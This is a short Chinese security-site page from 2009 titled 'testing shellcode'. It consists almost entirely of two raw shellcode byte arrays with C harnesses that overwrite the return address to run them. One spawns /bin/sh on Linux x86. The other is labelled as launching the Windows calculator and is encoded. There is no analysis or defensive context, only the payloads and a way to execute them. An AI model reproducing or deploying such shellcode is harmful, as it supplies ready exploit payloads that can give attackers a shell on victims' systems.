首页 网络安全 安全学院 查看内容

测试shellcode

2009-10-15 09:06 436 0

摘要: char shellcode[] ="xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00""x00xb8x0bx0...
关键词: 00 ret shellcode int nbsp xc xd xff xf xee

char shellcode[] ="\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00""\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80""\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff""\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";void main() {int *ret;   ret = (int *)&ret + 2;(*ret) = (int)shellcode;}##################################################################执行计算器功能###################################################################include <stdio.h>char shellcode[] ="\xdb\xd3\x29\xc9\xb1\x1e\xba\x64\x82\x9e\xf0\xd9\x74\x24\xf4""\x5e\x31\x56\x18\x83\xc6\x04\x03\x56\x70\x60\x6b\x0c\x90\x20""\x94\xed\x60\x22\xd1\xd1\xeb\x48\xdf\x51\xea\x5f\x54\xee\xf4""\x14\x34\xd1\x05\xc0\x82\x9a\x31\x9d\x14\x73\x08\x61\x8f\x27""\xee\xa1\xc4\x30\x2f\xeb\x28\x3e\x6d\x07\xc6\x7b\x25\xfc\x23""\x09\x20\x77\x74\xd5\xab\x63\xed\x9e\xa7\x38\x79\xff\xab\xbf""\x96\x8b\xcf\x34\x69\x67\x66\x16\x4e\x73\xbb\xf8\xbf\x8d\x5b""\x51\xa4\xfa\xdd\x6d\xaf\xbd\xed\x06\xdf\x21\x40\x93\x48\x52""\x13\x5c\x0b\xa2\x49\xcd\x64\xd3\x07\xe9\x2b\x7b\x8f\x0c\x59""\x75\xf8\x0f\xb9\xe9\x67\x9c\x25\xee";void main() {int *ret;   ret = (int *)&ret + 2;(*ret) = (int)shellcode;}
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部